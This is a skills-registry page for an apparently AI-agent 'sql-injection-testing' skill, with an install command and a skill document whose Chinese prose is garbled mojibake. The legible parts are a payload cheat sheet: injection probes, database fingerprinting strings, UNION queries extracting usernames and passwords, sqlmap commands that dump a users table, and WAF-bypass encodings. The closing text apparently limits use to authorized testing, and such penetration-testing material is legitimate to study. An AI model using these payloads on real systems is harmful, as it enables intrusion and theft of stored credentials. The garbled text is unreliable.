sql-injection-testing
12
总安装量
5
周安装量
#26624
全站排名
安装命令
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill sql-injection-testing
Agent 安装分布
codex
3
opencode
2
claude-code
2
amp
1
trae
1
cursor
1
Skill 文档
SQLæ³¨å ¥æµè¯æè½
æ¦è¿°
SQLæ³¨å ¥æ¯ä¸ç§å¸¸è§ä¸å±é©çWebåºç¨æ¼æ´ãæ¬æè½æä¾äºç³»ç»åçSQLæ³¨å ¥æµè¯æ¹æ³ãæ£æµææ¯åå©ç¨çç¥ã
æµè¯æ¹æ³
1. åæ°è¯å«
- è¯å«ææç¨æ·è¾å ¥ç¹ï¼URLåæ°ãPOSTæ°æ®ãHTTP头ãCookieç
- éç¹å ³æ³¨ï¼idãsearchãfilterãsortçåæ°
- 使ç¨Burp Suiteæç±»ä¼¼å·¥å ·æ¦æªåä¿®æ¹è¯·æ±
2. åºç¡æ£æµ
- åå¼å·æµè¯ï¼
'– æ¥çæ¯å¦åºç°SQLé误 - å¸å°ç²æ³¨ï¼
' AND '1'='1vs' AND '1'='2 - æ¶é´ç²æ³¨ï¼
' AND SLEEP(5)-- - èåæ¥è¯¢ï¼
' UNION SELECT NULL--
3. æ°æ®åºè¯å«
- MySQLï¼
' AND @@version LIKE '%mysql%'-- - PostgreSQLï¼
' AND version() LIKE '%PostgreSQL%'-- - MSSQLï¼
' AND @@version LIKE '%Microsoft%'-- - Oracleï¼
' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE '%Oracle%'--
4. ä¿¡æ¯æå
- æ°æ®åºåï¼
' UNION SELECT database()-- - 表åï¼
' UNION SELECT table_name FROM information_schema.tables-- - ååï¼
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- - æ°æ®æåï¼
' UNION SELECT username,password FROM users--
å·¥å ·ä½¿ç¨
sqlmap
# åºç¡æ«æ
sqlmap -u "http://target.com/page?id=1"
# æå®åæ°
sqlmap -u "http://target.com/page" --data="id=1" --method=POST
# æå®æ°æ®åºç±»å
sqlmap -u "http://target.com/page?id=1" --dbms=mysql
# è·åæ°æ®åºå表
sqlmap -u "http://target.com/page?id=1" --dbs
# è·å表
sqlmap -u "http://target.com/page?id=1" -D database_name --tables
# è·åæ°æ®
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump
æå¨æµè¯
- 使ç¨Burp SuiteçRepeater模å
- ä½¿ç¨æµè§å¨å¼åè å·¥å ·
- ç¼åPythonèæ¬èªå¨åæµè¯
ç»è¿ææ¯
WAFç»è¿
- ç¼ç ç»è¿ï¼URLç¼ç ãUnicodeç¼ç ãåå è¿å¶ç¼ç
- 注éç»è¿ï¼
/**/,--,# - 大å°åæ··åï¼
SeLeCt,UnIoN - ç©ºæ ¼æ¿æ¢ï¼
/**/,+,%09(Tab),%0A(æ¢è¡)
示ä¾
åå§ï¼' UNION SELECT NULL--
ç»è¿1ï¼'/**/UNION/**/SELECT/**/NULL--
ç»è¿2ï¼'%55nion%20select%20null--
ç»è¿3ï¼'/*!UNION*//*!SELECT*/null--
éªè¯åæ¥å
éªè¯æ¥éª¤
- 确认å¯ä»¥æ§è¡SQLè¯å¥
- æåæ°æ®åºä¿¡æ¯éªè¯
- è¯ä¼°å½±åèå´ï¼æ°æ®æ³é²ãæéæåçï¼
- è®°å½å®æ´çPOCï¼è¯·æ±/ååºï¼
æ¥åè¦ç¹
- æ¼æ´ä½ç½®ååæ°
- å½±åçæ°æ®åç³»ç»
- 宿´çå©ç¨æ¥éª¤
- ä¿®å¤å»ºè®®ï¼åæ°åæ¥è¯¢ãè¾å ¥éªè¯çï¼
注æäºé¡¹
- ä» å¨æææµè¯ç¯å¢ä¸è¿è¡
- é¿å 对çäº§æ°æ®é æç ´å
- è°¨æ 使ç¨DROPãDELETEçå±é©æä½
- è®°å½æææµè¯æ¥éª¤ä»¥ä¾¿å¤ç°